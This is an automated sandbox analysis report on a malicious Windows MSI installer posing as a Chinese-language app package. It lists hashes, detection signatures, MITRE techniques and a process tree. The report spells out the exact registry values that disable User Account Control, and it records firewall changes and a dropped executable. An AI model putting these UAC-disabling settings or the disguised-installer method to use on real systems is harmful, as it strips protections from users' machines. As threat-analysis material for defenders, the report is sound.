f166df9c5d7782041900c943c060eee2708aa54a6fd9c20fbb0a08218eef0449

Analysis

max time kernel
238s
max time network
297s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
23-08-2023 03:58

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

X64-CSzhongwen.4.9.msi
Size

90.7MB
MD5

6e41efd4e0607637c4fc4309fa2ff4ed
SHA1

5c7c680277f3705e087b7940ca481a0838a758f1
SHA256

f166df9c5d7782041900c943c060eee2708aa54a6fd9c20fbb0a08218eef0449
SHA512

325752a2602ebc5440547299fb885cf18481dd79a84df6685526ab84d2f81f4ccb77535e4d8c6c94d13c62fe385aa0348058548109e5677d2e8bcbb7cd74734e
SSDEEP

1572864:XCKawy0JEFm4X+8fXIA9iUH85BkGoiqfPI0pGRUHocSjJFm93YWz0zpS:XCKRl18vFkBkG9w7pGIovFI9I

Score

10^/10

evasion trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Modifies Windows Firewall 1 TTPs 3 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exenetsh.exenetsh.exe

pid process

4692 netsh.exe
3592 netsh.exe
4400 netsh.exe
Executes dropped EXE 2 IoCs

Processes:

dac.exeConsoleProxy.exe

pid process

5092 dac.exe
2416 ConsoleProxy.exe

pid	process
4692	netsh.exe
3592	netsh.exe
4400	netsh.exe

pid	process
5092	dac.exe
2416	ConsoleProxy.exe

Loads dropped DLL 10 IoCs

Processes:

MsiExec.exeMsiExec.exeConsoleProxy.exe

pid	process
3096	MsiExec.exe
3096	MsiExec.exe
3096	MsiExec.exe
3096	MsiExec.exe
3096	MsiExec.exe
3096	MsiExec.exe
4792	MsiExec.exe
4792	MsiExec.exe
2416	ConsoleProxy.exe
2416	ConsoleProxy.exe

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral3/memory/5092-216-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral3/memory/5092-218-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral3/memory/5092-217-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral3/memory/5092-219-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral3/memory/5092-220-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral3/memory/5092-221-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral3/memory/5092-233-0x0000000180000000-0x000000018003E000-memory.dmp	upx
behavioral3/memory/5092-257-0x0000000180000000-0x000000018003E000-memory.dmp	upx

Enumerates connected drives 3 TTPs 64 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exeConsoleProxy.exe

description	ioc	process
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\M:	ConsoleProxy.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	ConsoleProxy.exe
File opened (read-only)	\??\P:	ConsoleProxy.exe
File opened (read-only)	\??\R:	ConsoleProxy.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\O:	ConsoleProxy.exe
File opened (read-only)	\??\S:	ConsoleProxy.exe
File opened (read-only)	\??\V:	ConsoleProxy.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\W:	ConsoleProxy.exe
File opened (read-only)	\??\J:	ConsoleProxy.exe
File opened (read-only)	\??\K:	ConsoleProxy.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Q:	ConsoleProxy.exe
File opened (read-only)	\??\U:	ConsoleProxy.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	ConsoleProxy.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\I:	ConsoleProxy.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\H:	ConsoleProxy.exe
File opened (read-only)	\??\N:	ConsoleProxy.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	ConsoleProxy.exe
File opened (read-only)	\??\Z:	ConsoleProxy.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\G:	ConsoleProxy.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\E:	ConsoleProxy.exe

Drops file in System32 directory 6 IoCs

Processes:

dac.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7229E30BCFD0992128433D951137A421_76EBFC12D6FD7EE9DD82775C12CF3BD5	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3FE2BD01AB6BC312BF0DADE7F797388F_F7F9B7BDCC367A8E3539D28F7D4D4BA2	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3FE2BD01AB6BC312BF0DADE7F797388F_F7F9B7BDCC367A8E3539D28F7D4D4BA2	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7229E30BCFD0992128433D951137A421_F0BB2463DDCCB4B49DC9200CC9E498E9	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7229E30BCFD0992128433D951137A421_F0BB2463DDCCB4B49DC9200CC9E498E9	dac.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7229E30BCFD0992128433D951137A421_76EBFC12D6FD7EE9DD82775C12CF3BD5	dac.exe

Drops file in Windows directory 10 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Windows\Installer\e585a52.msi	msiexec.exe
File created	C:\Windows\Installer\e585a50.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5B2B.tmp	msiexec.exe
File created	C:\Windows\Installer\SourceHash{997F38C3-E68F-4219-8D4D-C234BE733C5E}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5F92.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e585a50.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI5BC8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 54 IoCs

Processes:

dac.exemmc.exemmc.exemmc.exeConsoleProxy.exemsiexec.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mmc.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	ConsoleProxy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ConsoleProxy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum\Version = "7"	ConsoleProxy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Settings	mmc.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Settings	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	ConsoleProxy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	dac.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	dac.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mmc.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1f	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ConsoleProxy.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	dac.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mmc.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\@mmcbase.dll,-14008 = "Folder"	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Settings	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	mmc.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	mmc.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ConsoleProxy.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe
Key created	\REGISTRY\USER\S-1-5-18_Classes\Local Settings	dac.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console	mmc.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Microsoft Management Console\Recent File List	mmc.exe

Modifies registry class 23 IoCs

Processes:

msiexec.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media\DiskPrompt = "[1]"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Language = "2052"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3C83F799F86E9124D8D42C43EB37C3E5\MainFeature	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\DeploymentFlags = "3"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\67708036E3027134CBB5C9BE30891990\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\ProductName = "CS-TG-64"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\PackageCode = "D07B4CB59D9DAD44384C347448832FE1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\Version = "16777216"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\SourceList\PackageName = "X64-CSzhongwen.4.9.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\3C83F799F86E9124D8D42C43EB37C3E5	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\3C83F799F86E9124D8D42C43EB37C3E5\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\67708036E3027134CBB5C9BE30891990	msiexec.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

2664 PING.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

msiexec.exeConsoleProxy.exe

pid process

3468 msiexec.exe
3468 msiexec.exe
2416 ConsoleProxy.exe
2416 ConsoleProxy.exe

pid	process
2664	PING.EXE

pid	process
3468	msiexec.exe
3468	msiexec.exe
2416	ConsoleProxy.exe
2416	ConsoleProxy.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

msiexec.exemsiexec.exe

description	pid	process
Token: SeShutdownPrivilege	4232	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4232	msiexec.exe
Token: SeSecurityPrivilege	3468	msiexec.exe
Token: SeCreateTokenPrivilege	4232	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4232	msiexec.exe
Token: SeLockMemoryPrivilege	4232	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4232	msiexec.exe
Token: SeMachineAccountPrivilege	4232	msiexec.exe
Token: SeTcbPrivilege	4232	msiexec.exe
Token: SeSecurityPrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeLoadDriverPrivilege	4232	msiexec.exe
Token: SeSystemProfilePrivilege	4232	msiexec.exe
Token: SeSystemtimePrivilege	4232	msiexec.exe
Token: SeProfSingleProcessPrivilege	4232	msiexec.exe
Token: SeIncBasePriorityPrivilege	4232	msiexec.exe
Token: SeCreatePagefilePrivilege	4232	msiexec.exe
Token: SeCreatePermanentPrivilege	4232	msiexec.exe
Token: SeBackupPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeShutdownPrivilege	4232	msiexec.exe
Token: SeDebugPrivilege	4232	msiexec.exe
Token: SeAuditPrivilege	4232	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4232	msiexec.exe
Token: SeChangeNotifyPrivilege	4232	msiexec.exe
Token: SeRemoteShutdownPrivilege	4232	msiexec.exe
Token: SeUndockPrivilege	4232	msiexec.exe
Token: SeSyncAgentPrivilege	4232	msiexec.exe
Token: SeEnableDelegationPrivilege	4232	msiexec.exe
Token: SeManageVolumePrivilege	4232	msiexec.exe
Token: SeImpersonatePrivilege	4232	msiexec.exe
Token: SeCreateGlobalPrivilege	4232	msiexec.exe
Token: SeCreateTokenPrivilege	4232	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4232	msiexec.exe
Token: SeLockMemoryPrivilege	4232	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4232	msiexec.exe
Token: SeMachineAccountPrivilege	4232	msiexec.exe
Token: SeTcbPrivilege	4232	msiexec.exe
Token: SeSecurityPrivilege	4232	msiexec.exe
Token: SeTakeOwnershipPrivilege	4232	msiexec.exe
Token: SeLoadDriverPrivilege	4232	msiexec.exe
Token: SeSystemProfilePrivilege	4232	msiexec.exe
Token: SeSystemtimePrivilege	4232	msiexec.exe
Token: SeProfSingleProcessPrivilege	4232	msiexec.exe
Token: SeIncBasePriorityPrivilege	4232	msiexec.exe
Token: SeCreatePagefilePrivilege	4232	msiexec.exe
Token: SeCreatePermanentPrivilege	4232	msiexec.exe
Token: SeBackupPrivilege	4232	msiexec.exe
Token: SeRestorePrivilege	4232	msiexec.exe
Token: SeShutdownPrivilege	4232	msiexec.exe
Token: SeDebugPrivilege	4232	msiexec.exe
Token: SeAuditPrivilege	4232	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4232	msiexec.exe
Token: SeChangeNotifyPrivilege	4232	msiexec.exe
Token: SeRemoteShutdownPrivilege	4232	msiexec.exe
Token: SeUndockPrivilege	4232	msiexec.exe
Token: SeSyncAgentPrivilege	4232	msiexec.exe
Token: SeEnableDelegationPrivilege	4232	msiexec.exe
Token: SeManageVolumePrivilege	4232	msiexec.exe
Token: SeImpersonatePrivilege	4232	msiexec.exe
Token: SeCreateGlobalPrivilege	4232	msiexec.exe
Token: SeCreateTokenPrivilege	4232	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4232	msiexec.exe
Token: SeLockMemoryPrivilege	4232	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

msiexec.exe

pid process

4232 msiexec.exe
4232 msiexec.exe
Suspicious use of SetWindowsHookEx 9 IoCs

Processes:

dac.exemmc.exemmc.exemmc.exeConsoleProxy.exe

pid process

5092 dac.exe
5092 dac.exe
812 mmc.exe
812 mmc.exe
5048 mmc.exe
5048 mmc.exe
2140 mmc.exe
2140 mmc.exe
2416 ConsoleProxy.exe

pid	process
4232	msiexec.exe
4232	msiexec.exe

pid	process
5092	dac.exe
5092	dac.exe
812	mmc.exe
812	mmc.exe
5048	mmc.exe
5048	mmc.exe
2140	mmc.exe
2140	mmc.exe
2416	ConsoleProxy.exe

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

msiexec.exemmc.exemmc.exedac.execmd.exemmc.exeConsoleProxy.execmd.exe

description	pid	process	target process
PID 3468 wrote to memory of 3096	3468	msiexec.exe	MsiExec.exe
PID 3468 wrote to memory of 3096	3468	msiexec.exe	MsiExec.exe
PID 3468 wrote to memory of 3096	3468	msiexec.exe	MsiExec.exe
PID 3468 wrote to memory of 5112	3468	msiexec.exe	srtasks.exe
PID 3468 wrote to memory of 5112	3468	msiexec.exe	srtasks.exe
PID 3468 wrote to memory of 4792	3468	msiexec.exe	MsiExec.exe
PID 3468 wrote to memory of 4792	3468	msiexec.exe	MsiExec.exe
PID 3468 wrote to memory of 4792	3468	msiexec.exe	MsiExec.exe
PID 3468 wrote to memory of 5092	3468	msiexec.exe	dac.exe
PID 3468 wrote to memory of 5092	3468	msiexec.exe	dac.exe
PID 812 wrote to memory of 5056	812	mmc.exe	netsh.exe
PID 812 wrote to memory of 5056	812	mmc.exe	netsh.exe
PID 5048 wrote to memory of 2624	5048	mmc.exe	netsh.exe
PID 5048 wrote to memory of 2624	5048	mmc.exe	netsh.exe
PID 5092 wrote to memory of 2344	5092	dac.exe	cmd.exe
PID 5092 wrote to memory of 2344	5092	dac.exe	cmd.exe
PID 2344 wrote to memory of 3428	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 3428	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 1584	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 1584	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 1480	2344	cmd.exe	reg.exe
PID 2344 wrote to memory of 1480	2344	cmd.exe	reg.exe
PID 5092 wrote to memory of 876	5092	dac.exe	cmd.exe
PID 5092 wrote to memory of 876	5092	dac.exe	cmd.exe
PID 2140 wrote to memory of 2416	2140	mmc.exe	ConsoleProxy.exe
PID 2140 wrote to memory of 2416	2140	mmc.exe	ConsoleProxy.exe
PID 2140 wrote to memory of 2416	2140	mmc.exe	ConsoleProxy.exe
PID 2416 wrote to memory of 4692	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 4692	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 4692	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 3592	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 3592	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 3592	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 4400	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 4400	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 4400	2416	ConsoleProxy.exe	netsh.exe
PID 5092 wrote to memory of 3064	5092	dac.exe	cmd.exe
PID 5092 wrote to memory of 3064	5092	dac.exe	cmd.exe
PID 3064 wrote to memory of 2664	3064	cmd.exe	PING.EXE
PID 3064 wrote to memory of 2664	3064	cmd.exe	PING.EXE
PID 2416 wrote to memory of 3548	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 3548	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 3548	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 5008	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 5008	2416	ConsoleProxy.exe	netsh.exe
PID 2416 wrote to memory of 5008	2416	ConsoleProxy.exe	netsh.exe

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\X64-CSzhongwen.4.9.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4232

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3468

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 9DB2C02EDD5C8D1951AA9397583E024B C
2⤵
- Loads dropped DLL
PID:3096

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
2⤵
PID:5112

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 5DB7F53DB2BB012EDB776E623346E5F7
2⤵
- Loads dropped DLL
PID:4792

C:\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\dac.exe
"C:\Users\Admin\AppData\Roaming\CS-TG-64\tdata\emoji\dac.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
